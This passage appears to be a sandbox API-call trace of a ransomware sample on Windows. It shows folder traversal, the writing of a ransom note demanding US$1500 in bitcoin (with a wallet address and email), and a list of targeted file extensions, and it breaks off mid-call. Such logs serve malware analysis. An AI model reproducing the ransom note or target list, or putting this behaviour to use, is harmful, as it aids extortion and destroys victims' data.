lpString2="ProjectTool" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" [0065.499] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool") returned 102 [0065.499] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4f839e, cFileName=".", cAlternateFileName="")) returned 0x502558 [0065.500] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.501] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0065.501] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.501] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.501] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Project Report Type", cAlternateFileName="PROJEC~1")) returned 1 [0065.501] lstrcmpA (lpString1=".", lpString2="Project Report Type") returned -1 [0065.501] lstrcmpA (lpString1="..", lpString2="Project Report Type") returned -1 [0065.501] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*.*") returned="*.*" [0065.501] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\", lpString2="Project Report Type" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" [0065.501] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type") returned 122 [0065.501] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x503500, dwReserved1=0x5034fb, cFileName=".", cAlternateFileName="")) returned 0x502598 [0065.501] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.501] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0065.502] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.502] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.502] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Basic", cAlternateFileName="")) returned 1 [0065.502] lstrcmpA (lpString1=".", lpString2="Basic") returned -1 [0065.502] lstrcmpA (lpString1="..", lpString2="Basic") returned -1 [0065.502] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*.*") returned="*.*" [0065.502] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\", lpString2="Basic" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" [0065.502] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic") returned 128 [0065.502] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x504508, dwReserved1=0x504503, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0065.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.503] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0065.503] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.503] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.503] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xced, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEFAULT.XSL", cAlternateFileName="")) returned 1 [0065.503] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0065.503] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DEFAULT.XSL") returned 1 [0065.503] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DEFAULT.XSL") returned 1 [0065.503] lstrcmpiA (lpString1="", lpString2="DEFAULT.XSL") returned -1 [0065.504] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*.*") returned="*.*" [0065.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\" [0065.504] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\") returned="" [0065.504] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW TO DECRYPT FILES.txt" [0065.504] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\how to decrypt files.txt")) returned 0xffffffff [0065.504] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0065.504] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0065.505] WriteFile (in: hFile=0xa4, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0065.506] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.506] CloseHandle (hObject=0xa4) returned 1 [0065.506] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\", lpString2="DEFAULT.XSL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL" [0065.506] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.ems") returned 0 [0065.506] lstrlenA (lpString="*.ems") returned 5 [0065.506] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.db") returned 0 [0065.506] lstrlenA (lpString="*.db") returned 4 [0065.506] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.dbf") returned 0 [0065.506] lstrlenA (lpString="*.dbf") returned 5 [0065.506] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.myox") returned 0 [0065.507] lstrlenA (lpString="*.myox") returned 6 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.myo") returned 0 [0065.507] lstrlenA (lpString="*.myo") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qbw") returned 0 [0065.507] lstrlenA (lpString="*.qbw") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qbb") returned 0 [0065.507] lstrlenA (lpString="*.qbb") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qbm") returned 0 [0065.507] lstrlenA (lpString="*.qbm") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qbo") returned 0 [0065.507] lstrlenA (lpString="*.qbo") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qbx") returned 0 [0065.507] lstrlenA (lpString="*.qbx") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qba") returned 0 [0065.507] lstrlenA (lpString="*.qba") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qby") returned 0 [0065.507] lstrlenA (lpString="*.qby") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qbj") returned 0 [0065.507] lstrlenA (lpString="*.qbj") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.ofx") returned 0 [0065.507] lstrlenA (lpString="*.ofx") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.qif") returned 0 [0065.507] lstrlenA (lpString="*.qif") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mye") returned 0 [0065.507] lstrlenA (lpString="*.mye") returned 5 [0065.507] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mbox") returned 0 [0065.508] lstrlenA (lpString="*.mbox") returned 6 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.eml") returned 0 [0065.508] lstrlenA (lpString="*.eml") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.pst") returned 0 [0065.508] lstrlenA (lpString="*.pst") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.ost") returned 0 [0065.508] lstrlenA (lpString="*.ost") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.idx") returned 0 [0065.508] lstrlenA (lpString="*.idx") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.dbx") returned 0 [0065.508] lstrlenA (lpString="*.dbx") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.sql") returned 0 [0065.508] lstrlenA (lpString="*.sql") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mdb") returned 0 [0065.508] lstrlenA (lpString="*.mdb") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.fdb") returned 0 [0065.508] lstrlenA (lpString="*.fdb") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.wab") returned 0 [0065.508] lstrlenA (lpString="*.wab") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.dat") returned 0 [0065.508] lstrlenA (lpString="*.dat") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.txt") returned 0 [0065.508] lstrlenA (lpString="*.txt") returned 5 [0065.508] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.jpeg") returned 0 [0065.508] lstrlenA (lpString="*.jpeg") returned 6 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.jpg") returned 0 [0065.509] lstrlenA (lpString="*.jpg") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.png") returned 0 [0065.509] lstrlenA (lpString="*.png") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.php") returned 0 [0065.509] lstrlenA (lpString="*.php") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.cs") returned 0 [0065.509] lstrlenA (lpString="*.cs") returned 4 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.cpp") returned 0 [0065.509] lstrlenA (lpString="*.cpp") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.rar") returned 0 [0065.509] lstrlenA (lpString="*.rar") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.zip") returned 0 [0065.509] lstrlenA (lpString="*.zip") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.html") returned 0 [0065.509] lstrlenA (lpString="*.html") returned 6 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.htm") returned 0 [0065.509] lstrlenA (lpString="*.htm") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.xlsx") returned 0 [0065.509] lstrlenA (lpString="*.xlsx") returned 6 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.xls") returned 0 [0065.509] lstrlenA (lpString="*.xls") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mp4") returned 0 [0065.509] lstrlenA (lpString="*.mp4") returned 5 [0065.509] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.ppt") returned 0 [0065.509] lstrlenA (lpString="*.ppt") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.pptx") returned 0 [0065.510] lstrlenA (lpString="*.pptx") returned 6 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.doc") returned 0 [0065.510] lstrlenA (lpString="*.doc") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.dot") returned 0 [0065.510] lstrlenA (lpString="*.dot") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.docx") returned 0 [0065.510] lstrlenA (lpString="*.docx") returned 6 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.7z") returned 0 [0065.510] lstrlenA (lpString="*.7z") returned 4 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.tar") returned 0 [0065.510] lstrlenA (lpString="*.tar") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.bz2") returned 0 [0065.510] lstrlenA (lpString="*.bz2") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.gz") returned 0 [0065.510] lstrlenA (lpString="*.gz") returned 4 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.mkv") returned 0 [0065.510] lstrlenA (lpString="*.mkv") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", pszSpec="*.eml") returned 0 [0065.510] lstrlenA (lpString="*.eml") returned 5 [0065.510] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", 